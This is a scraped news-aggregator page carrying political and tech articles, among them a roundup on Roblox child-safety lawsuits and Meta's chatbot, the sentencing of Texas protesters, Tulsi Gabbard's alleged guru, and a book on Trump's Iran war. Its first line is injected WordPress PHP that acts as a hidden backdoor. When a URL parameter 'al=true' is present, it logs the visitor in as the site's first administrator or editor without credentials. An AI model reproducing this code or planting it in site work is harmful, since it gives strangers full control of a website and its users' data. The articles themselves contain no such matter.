// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Kids game Roblox faces legal backlash over allegations of child sex predation – Blue Light News
Connect with us

The Dictatorship

Kids game Roblox faces legal backlash over allegations of child sex predation

Published

on

Kids game Roblox faces legal backlash over allegations of child sex predation

Happy Tuesday. Here’s your Tuesday Tech Drop, my collection of the past week’s top stories from the intersection of technology and politics.

Roblox faces a reckoning

Roblox, the popular online game for children, is under fire over allegations that it has failed to protect kids from sexual predators. The prevalence of pedophiles using Roblox has been under scrutiny for years now, as Bloomberg reported last year. But the issue has gained traction over the past couple weeks after a decision by Roblox executives to ban a user who claimed to have exposed predators on the platform. A statement from the company defended the ban, saying that “while seemingly well-intentioned, the vigilantes we’ve banned have taken actions that are both unacceptable and create an unsafe environment for users.”

That set off a torrent of backlash, including a petition circulated by U.S. Rep. Ro Khanna, D-Calif., to urge Roblox to “do more to protect children, provide more support to parents, and strengthen law enforcement protocols that help bring predators to justice.” Meanwhile, Louisiana Attorney General Liz Murrill filed a lawsuit against Roblox last week alleging the platform was intentionally or recklessly designed without effective age verification protocols and has allowed child predation, a claim Roblox called “categorically untrue.” (Roblox’s age verification rules are posted here.)

The company is also facing multiple civil suits that allege it has enabled child predation. A company spokesperson told Wired this week“We are deeply troubled by any incident that endangers our users, and safety is a top priority,” and, “While no system is perfect, Roblox has implemented rigorous safeguards, including restrictions on sharing personal information, links, and user-to-user image sharing, and prohibiting sexual conversations.”

Read more on the Louisiana lawsuit on NBC News here.

Man chases Meta’s flirty AI bot

A Reuters report uncovered the story of a man with cognitive issues who died while on a quest to “meet” a chatbot on Facebook Messenger after it reportedly flirted with him and convinced him it was a real person. (Meta didn’t comment to Reuters regarding the man’s death or “address questions about why it allows chatbots to tell users they are real people.”)

The story is a cautionary one about the spread of such chatbots across social media and what can happen when the humans who interact with them lose their grasp on reality.

Read more at Reuters here.

Zuck unnerves the neighborhood

A New York Times report highlighted how Meta CEO Mark Zuckerberg has unnerved neighbors in the Crescent Park neighborhood of Palo Alto, California. The tech mogul has purchased at least 11 properties as part of a massive compound for himself and his family, while subjecting nearby residents to surveillance and frequent construction that some neighbors say has disrupted their lives. (A spokesman for Zuckerberg and his wife said that “the couple tried hard to do right by their neighbors,” according to the Times.)

Read the New York Times report here.

Newsmax to pay for propaganda push

Far-right media platform Newsmax has reached a settlement with election technology company Dominion Voting Systems, agreeing to pay $67 million to end a defamation suit over lies the network repeatedly aired after the 2020 presidential election in which it falsely implicated Dominion in a vote-rigging scheme against Donald Trump. A Newsmax spokesperson told NBC News that the company “was not required to apologize or issue a retraction as part of the settlement.”

Read more about the settlement on MSNBC here.

Trump Admin launches ‘after’

The Trump administration last week announced a program it’s calling USAi, to allow employees at federal agencies to experiment with generative artificial intelligence tools provided by OpenAI, Anthropic, Meta and Google.

The announcement has been met with concern by some tech experts who fear what these tools could be trained to do. “These tools are marketed as making employees’ jobs easier, but agentic AI is largely unregulated and untested in making important decisions like loan approval, medicare enrollment, or social security payments,” J.B. Branch, a Big Tech accountability advocate at activist group Public Citizen, said in a statement. “The systems may have biased responses tied to historical data, which is troubling given the Trump administration’s ‘Woke AI’ executive order aiming to keep issues of diversity and equity out of AI.”

Read more at Politico here.

N.Y. attorney general sues Zelle parent company

New York Attorney General Letitia James filed a lawsuit last week against Early Warning Services, the parent company of payment platform Zelle, alleging the company failed to protect users of the platform from fraud by neglecting to develop critical security features. The state case comes after a similar suit filed by the Consumer Financial Protection Bureau was quashed by the Trump administration. A spokesperson for Zelle called the suit “a political stunt to generate press, not progress.”

Read more at CNBC here.

See no evil

A report from Mother Jones found that several police departments across the nation that are using AI to convert police bodycam footage into police reports have deactivated safeguards meant to prevent digital “hallucinations” and ensure human oversight.

Read more at Mother Jones here.

Microsoft probes Israeli spying allegations

Microsoft launched an investigation last week into allegations that an Israeli military surveillance group, called Unit 8200, used the company’s technology to conduct a massive spying campaign on Palestinians. The probe follows a report from The Guardian alleging Israeli spies used Microsoft’s Azure cloud platform to store intercepted phone calls. Microsoft told the news outlet that the company “appreciates that the Guardian’s recent report raises additional and precise allegations that merit a full and urgent review.”

An Israeli military spokesperson told The Guardian that “its work with companies such as Microsoft is ‘conducted based on regulated and legally supervised agreements’ and the military ‘operates in accordance with international law.’”

Read more at The Guardian here.

Extremist influencers

A recent report from Wired exposed how Christian extremists — some armed and militant — are using Instagram to recruit followers by branding themselves as social media influencers.

Read the Wired report here.

Cybertruck sales still sliding

Tesla’s Cybertrucks have hit a slump in sales. A new CNBC video report sources the issue to several factors, including Tesla’s failure to deliver on key capabilities it had promised, the company having overpriced the vehicle, and numerous recalls due to defective parts.

Watch CNBC’s explainer on “Why Tesla Cybertrucks Aren’t Selling” below.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

8 convicted in Texas immigration center shooting sentenced to decades in prison

Published

on

8 convicted in Texas immigration center shooting sentenced to decades in prison

FORT WORTH, Texas (AP) — Eight protesters accused by the Justice Department of having ties to antifawere sentenced Tuesday to decades in federal prison over a shooting outside a Texas immigration detention center that wounded a police officer. Prosecutors have called the shooting an act of terrorism.

One of the defendants, a former U.S. Marine Corps reservist convicted of opening fire during the July 4 demonstration outside the Prairieland Detention Center near Dallas, was sentenced to 100 years in prison, the maximum punishment.

The lengthy sentences were condemned by family members and supporters in a news conference outside the federal courthouse in Fort Worth. Hope Song, whose son Benjamin Songreceived the heftiest sentence, disputed prosecutors’ claims that her son shot the officer and said he didn’t intend to hurt anyone.

U.S. District Judge Reed O’Connor, one of two judges overseeing the proceedings, said what happened wasn’t a protest but “an assault on democracy.”

“The need to deter this type of conduct is high,” O’Connor said.

The seven other protesters received prison terms ranging from 30 to 70 years.

Prosecutors said the eight are members of antifa, a decentralized anti-fascist organization and a targetof the Trump administration. Antifa is not a single organization but rather an umbrella term for far-left militant groups that confront or resist neo-Nazis and white supremacists at demonstrations.

President Donald Trump last fall signed an executive order designating antifa a domestic terrorist organization, even though there is no domestic equivalent to the State Department’s list of foreign terror organizations.

The defendants deny any affiliation with antifa and maintain they attended the demonstration in support of detained immigrants.

Prosecutor Frank Gatto urged the judge to impose stiff penalties.

“People with that kind of extremist beliefs need extra time in prison,” Gatto said. “They believe violence is justified.”

Phillip Hayes, Song’s attorney, said outside the courthouse that he takes issue with the idea that the protesters are extremists.

“This is a bunch of kids and young adults who really have a really big heart and really wanted their voice to be heard,” Hayes said. “It was never intended that anybody get hurt. It was never intended that any shots would be fired.”

Prosecutors said in court that Song had yelled “get to the rifles” and opened fire, striking a police officer who had just pulled up to the center.

Hayes argued that Song’s shots were “suppressive fire” and that a ricochet bullet hit the officer after he arrived on the scene and “aggressively” pulled out his firearm. He said his client will appeal the 100-year sentence.

“Song, aside from this day, has had an impeccable life. A former Marine. A good student,” Hayes said. “He had a lot of good qualities that were just ignored. The judge went ahead and gave as much as he could.”

Other defendants and their family members pleaded for leniency in court.

Autumn Hill said the gathering “seemed more like a party to me than anything else” and that she and others who participated “didn’t expect or want any violence or destruction of property to occur.”

Amber Lowrey told the judge that her sister, Savanna Batten, is a compassionate person with dreams of opening a bakery. She said Batten’s activism started with animal rights and evolved into anti-war and human rights advocacy.

“She’s the best person I know,” Lowrey said.

Hill and Batten both received 50-year sentences.

Other defendants previously pleaded guilty to providing material support to terrorists rather than take their case to trial.

Critics warn the case could have a wide-reaching impact on protests given that organizations operating within the U.S. are supposed to be protected by First Amendment free-speech rights.

Last week, federal prosecutors charged 15 peoplewith impeding the Trump administration’s immigration crackdownin Minnesota. They claimed the demonstrators were members of antifa who conspired against the federal government to block arrests and deportations by setting up blockades around government buildings and throwing chunks of ice at federal vehicles, among other actions.

Read More

Continue Reading

The Dictatorship

Tulsi Gabbard and Senate GOP face difficult new questions over influence of her ‘guru’

Published

on

Tulsi Gabbard and Senate GOP face difficult new questions over influence of her ‘guru’

About a month into Donald Trump’s second term, Senate Republicans weighed whether to confirm one of the president’s worst nominees. Indeed, the list of reasons to reject Tulsi Gabbard’s nomination for director of national intelligence was not short.

The former congresswoman lacked the requisite experience in intelligence matters. She had an indefensible habit of echoing Russian propaganda. She struggled to explain her record of defending Bashar al-Assad’s Syrian regime. Senators heard from former national security officials who issued unsubtle warnings about elevating Gabbard to an important and influential position.

But in case that weren’t quite enough, let’s also not overlook the fact that Gabbard was a member of a secretive Hare Krishna offshoot religious sect that is considered by many of its former members to be an abusive cult.

Gabbard, who wrapped up her tenure as DNI last week, has long insisted that any suggestion that she was somehow enthralled to or controlled by this sect or its leader, whom she has referred to as her “guru,” is just bigotry against her faith.

But it’s against this backdrop that The Washington Post obtained hundreds of secret memos prepared for Gabbard during her congressional tenure, which were put together by members of the alleged cult and which included thousands of pages of specific directives to her on policy and politics.

After careful analysis of thousands of these documents, which have not been independently verified by MS NOW, the Post determined that they likely came from Gabbard’s secretive guru, a man named Chris Butler.

The memos, starting in 2013, when the Hawaiian first arrived on Capitol Hill, reflect a dynamic in which Gabbard didn’t just take direction from the materials, but essentially took dictation from the alleged cult leader: Memos told Gabbard what she should do as a member of Congress, and she often did exactly that, sometimes word for word.

The Post’s Jon Swaine spent months trying to get Gabbard to respond to questions, but to no avail. Her spokeswoman reportedly encouraged Swaine to drop the story, saying, “I cannot imagine WaPo’s readers would be interested in yet another uncredible, bigoted attack on the DNI’s faith.”

On May 20, Swaine nevertheless alerted the DNI and top members of her staff to the fact that the Post was prepared to publish his reporting anyway on her association with Butler.

On May 22, Fox News reported that Gabbard was leaving the administration, ostensibly because of a health issue involving her husband.

This week, Senate Minority Leader Chuck Schumer spoke on the Senate floor and commented on the reporting:

There are reports that Tulsi Gabbard was receiving instructions from a so-called guru and repeating them word for word. That ought to concern all of us if it’s true. No one knows who this guru really is, what his connections are, and where the instructions came from. … We need answers.

The New York Democrat’s comments made sense, though it’s worth considering who, exactly, “we need answers” from.

It stands to reason, for example, that Gabbard has some explaining to do, but I’m also interested in the answers from those who elevated her to an influential intelligence office in the first place.

In February 2025, confronted with an avalanche of reasons to reject Gabbard’s nomination, 52 Senate Republicans — every GOP member except Kentucky’s Mitch McConnell — shrugged off every red flag and voted to confirm her as the nation’s DNI, including so-called “moderates” such as Maine’s Susan Collins and Alaska’s Lisa Murkowski.

The question for these 52 senators seems obvious: Do you regret that confirmation vote and now recognize it as a mistake? Or do you still think it was a good idea to put Gabbard in this influential intelligence position?

Steve Benen is a producer for “The Rachel Maddow Show,” the editor of MaddowBlog and an MS NOW political contributor. He’s also the bestselling author of “Ministry of Truth: Democracy, Reality, and the Republicans’ War on the Recent Past.”

Read More

Continue Reading

The Dictatorship

Trump ignored warnings before launching Iran war, reporters tell MS NOW

Published

on

Trump ignored warnings before launching Iran war, reporters tell MS NOW

In the lead-up to the Iran war, President Donald Trump dismissed the possibility that Tehran would close the Strait of Hormuz despite warnings from his top military adviser, authors of a new book told MS NOW’s Lawrence O’Donnell on Monday.

In their first televised interview about “Regime Change: Inside the Imperial Presidency of Donald Trump,” New York Times reporters Maggie Haberman and Jonathan Swan said Trump also disregarded warnings from Gen. Dan Caine, the chairman of the Joint Chiefs of Staff, about the potential effects on American weaponry and about casualties.

The initial closure of the strait, a narrow passageway through which a fifth of the world’s oil passes, led to a spike in gas and oil prices. According to Swan, Trump thought Iran would have limited time to take action because the war would be over quickly — a claim he has made repeatedly during the nearly four-month-long war.

“He felt that this regime was a paper tiger, that this was going to be a fast war,” Swan said on “The Last Word.” “He just said he felt that that was going to be the case, that they were going to collapse very quickly.”

“It’s a form of magical thinking, actually, is what it all boils down to,” he added.

The revelation is just one of several in the book — which is based on more than 1,000 interviews — that illustrate how Trump repeatedly bases geopolitical decisions on his own whims rather than experts’ assessments.

Another example of such thinking was when Trump floated a plan to expel 2 million Palestinians from Gaza so he could turn it into the “Riviera of the Middle East.” Haberman and Swan wrote in the book that one senior aide characterized the idea as “legitimately nutso … but very on-brand.”

Haberman also spoke about “how scared” people were inside the White House ahead of last year’s so-called Liberation Daywhen Trump unveiled sweeping global tariffs. (The Supreme Court struck down those tariffs in February.)

“They were scared at how close the bond markets came to just completely melting down seven days later, which was finally what got him [Trump] off of it, but again, it was the willingness to just go straight to the brink” that was jarring, Haberman said.

Despite such fear among Trump’s staff, Haberman added, the White House makes up “a group of people who genuinely want to see him succeed.”

Julianne McShane is a breaking news reporter for MS NOW who also covers the politics of abortion and reproductive rights. You can send her tips from a non-work device on Signal at jmcshane.19 or follow her on X or Bluesky.

Read More

Continue Reading

Trending